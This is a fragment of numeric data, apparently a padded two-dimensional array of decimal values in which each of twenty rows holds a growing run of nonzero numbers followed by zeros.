[0.0, 1.24131, -1.66171, -1.19422, -0.72486, -0.40969, 0.74074, 0.99135, 2.56694, 1.72126, 1.26462, -2.1316, -0.14306, 0.12879, -0.10731, 0.92467, 1.82213, 1.62132, 0.34748, 0.04464, 0.02804, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.63418, 1.7318, -0.08734, 0.93187, -0.58163, -1.08368, 1.03106, -0.60776, -0.60669, -1.77523, -0.57611, -0.13056, 1.53906, 0.52043, 1.86411, 1.33946, -2.01164, -1.82303, -0.94138, 0.99176, 2.49249, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -1.30504, -0.93739, -0.70237, 0.1754, 1.0684, -0.54591, -0.76441, -0.03454, 1.40217, 2.45054, 2.67155, -0.85018, -1.77382, -0.364, -2.33537, -1.01589, 0.70301, 0.97946, 1.95997, -0.66098, -1.66637, -0.08704, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.57099, -1.05252, 1.33027, 0.68492, 0.63581, 1.53266, -0.27888, -0.19788, -1.5739, -0.42267, -1.75845, 1.4849, 0.50801, 0.14003, 0.52361, 0.68055, 1.8175, 0.46905, -1.40119, -1.2315, -0.15995, 2.52055, 1.01189, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 1.96649, 0.64206, -2.61935, -2.78365, -1.60247, -0.63146, -0.27568, 0.28934, 1.37579, -1.07172, 0.34252, 0.5774, -0.60844, -0.80904, 0.55028, -1.66674, -2.11517, -1.21424, 0.41997, 1.96985, 0.10546, -3.06022, -1.43147, -0.02102, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.593, -0.2454, 0.01488, 0.03753, 0.48791, -0.07828, 1.69806, 0.86627, -0.40205, -0.10653, 0.85286, -1.15943, -0.09533, 0.55226, -0.46309, 2.34497, 1.6953, 1.27321, 0.43674, -2.87971, -1.00145, 1.36091, 1.33298, 0.60046, -1.72881, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.7678, 0.69589, 1.4635, 0.44326, 0.03052, -0.47353, -1.68272, -2.64202, -0.81964, 1.91878, -0.53748, 0.0317, 0.28241, -0.09505, -1.7166, -0.68068, -0.108, -0.97506, -1.16524, -0.79117, -0.0613, -0.05572, -0.79865, 0.17003, 0.74489, -1.46023, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 1.19355, -1.69105, -0.79668, 0.18816, -0.71548, -0.84482, 0.17356, 2.12862, 1.25085, -1.29987, -1.55581, 0.45246, 0.62944, 0.38992, 0.76884, 0.15114, 0.89348, 0.47006, 2.78327, 2.40338, -2.39141, -2.39564, -0.92098, 1.75157, 0.73283, -0.75733, -2.00346, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.24408, 0.26119, -0.83226, -0.45025, -0.5907, 0.5923, 0.09286, -0.46995, -1.17865, 0.40559, 2.29807, -0.04261, -0.81046, -0.43021, 0.08375, -0.53242, -2.38692, -0.19068, -1.77889, -1.62148, 1.56428, 1.30671, 1.43435, -0.29212, -1.01269, 3.64538, 1.64799, -0.33737, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.11335, 3.14308, 0.25671, -0.29586, 1.17284, -0.41388, -0.56978, -0.40511, 1.6964, 1.66468, -0.67906, -1.20401, 0.66539, 1.45972, -0.24109, -0.13728, 0.86403, 0.86939, -0.90062, 0.82958, 2.34154, 0.27472, -1.1909, -0.06313, -0.76566, -0.74713, -0.18294, -1.69133, -0.1887, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.0092, -1.94493, 0.41067, -0.06973, -0.68825, -0.76702, -0.57703, -0.75122, -1.52992, -1.58789, -0.31296, 1.8003, -0.35066, -1.98694, -1.24205, 1.1895, 1.06695, -1.60579, -0.10874, -0.37219, -0.57605, 1.37954, 3.33554, 1.85129, 2.07666, -0.70059, -0.52113, 1.74116, 0.99801, 0.77373, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -1.98435, -2.37284, 0.90217, -0.48042, -1.101, 0.43528, -0.39417, -0.38874, -0.04967, 0.41747, 0.50108, 0.75488, -0.12257, 0.23265, 1.50521, -0.28264, -0.56242, 0.99743, 0.73758, -0.77803, -1.10916, -2.21844, -1.39667, -1.42382, -0.2051, 1.58475, 0.85803, -1.84157, -2.66995, -1.3581, 1.25588, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 1.7373, 2.98566, -2.51261, 0.13175, 1.14278, 0.34405, 0.98645, 0.61724, -0.10617, -0.8697, -0.35513, -0.43338, 0.96941, 0.46169, -1.02396, -1.26627, -1.07915, 0.10099, -1.2579, 0.78066, 0.30074, 1.56376, 1.10121, 1.39942, -0.67057, 0.97548, 0.07796, 1.03174, 1.56846, -0.41318, 0.74239, 1.39011, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.94885, -0.72181, 0.56284, 1.23304, -1.08389, -2.35321, -0.41791, -0.66529, -0.18516, 0.56057, 0.06276, -1.46991, -1.48254, 0.39735, 0.61535, 0.51578, 0.49692, 0.19557, 0.19389, 1.60335, 0.92147, 1.09171, -0.03185, -1.37013, -1.61853, -1.6116, 2.5134, 1.40717, 0.022, -0.58766, -1.70274, -1.84973, 0.10865, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -2.98752, -0.13555, 2.17909, -3.04625, -0.77109, 1.76097, -0.74805, -0.65102, -0.06897, 0.60588, -0.64533, 0.92894, 1.50819, 0.77496, -0.32212, -0.85709, 1.12394, 0.55281, -0.37211, -2.30255, -0.79156, -1.44742, 0.09423, 0.93831, 0.43331, -0.93401, -1.83637, -0.26144, 0.81158, 0.28751, 0.83487, 0.72052, 0.15939, 1.19001, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 1.03109, -1.36912, -2.03764, 2.58112, 2.5839, -0.56035, -1.19536, 1.52138, -0.68593, -1.66388, 0.59005, 1.32823, -0.62241, -2.04239, 0.08871, 0.9639, -1.01858, -0.70426, 0.32393, 0.10088, 0.40753, 1.06823, 0.80832, -0.69226, 0.5073, 1.91745, -0.1775, 0.73584, -0.36136, 0.5488, 0.85672, -0.51777, -0.08033, -2.78502, -0.70878, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 1.54927, -0.79358, -0.02163, 0.73961, -2.57766, -0.14431, 2.5533, 0.18543, -0.32156, 0.92316, 0.82907, -2.71336, -1.57505, 0.95597, 1.21006, 0.10746, -0.59182, 1.30162, 0.27975, 1.25516, -0.57393, 0.28799, -0.83066, 0.07728, 0.38237, -0.55614, 1.06136, -1.40689, 0.5349, -1.72296, 0.28975, 0.72085, 0.6201, 1.31141, -1.33574, -1.0202, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -1.01907, 2.36656, -1.39142, -2.36935, 1.62344, 0.83167, -1.90233, -2.16405, 1.49041, -0.32918, -1.44547, 0.04367, 2.21337, 0.046, -1.67902, 0.00209, 1.82796, -0.89469, 0.33462, 0.89065, 0.25996, -0.28471, -0.35575, 0.4367, -0.94415, -1.84309, 2.25065, 1.56213, 1.25404, 1.09398, 1.01182, -1.1642, 0.42795, -1.01482, -0.35986, 0.91526, -1.58618, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.91109, 0.28003, 0.36903, 0.48066, -0.66096, -1.67108, 0.33344, 1.74182, -1.27071, -1.78811, 0.86074, 2.78961, -1.33042, -0.89516, -0.66137, 0.5415, -0.44994, 0.15618, 1.21924, -1.3416, -0.71614, 0.58293, 1.15363, -0.48852, -0.25793, 0.47867, -1.41361, 0.43884, -3.51809, -1.63422, -0.489, 1.11215, 0.43947, 0.82045, 0.65928, -2.58628, -0.5565, 0.06396, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.66966, -2.13449, 1.44019, -0.03218, -0.01467, 2.30729, 1.1135, 0.06621, 0.00717, 2.51971, -0.36187, -1.42385, -0.65521, 0.68864, 0.8703, -2.2029, -1.09932, 0.29629, -2.64351, 0.57611, 1.5676, 0.6988, 0.18503, 1.58811, 0.92635, 1.11199, -0.70773, 1.23929, 1.94071, 0.2879, 0.7854, 0.17602, -0.22036, -2.02572, -0.58996, 1.46164, -0.76375, 1.46287, -0.71543, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.27699, -0.27942, -0.75545, 0.26771, 0.03964, -2.06457, -0.44616, 0.15558, 1.39347, -1.18747, -1.78146, -1.70861, 0.42125, -1.50913, 0.85481, 0.28199, 0.75349, -0.42207, 1.0874, 2.3155, -0.05386, -2.11792, -1.82096, -1.24366, -1.11791, -2.22679, 0.50251, -1.55061, 0.18858, -3.01298, -2.49363, -1.1122, -0.50867, 0.97749, 0.01941, -0.13583, -0.40672, -1.84996, -0.7313, 0.35452, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
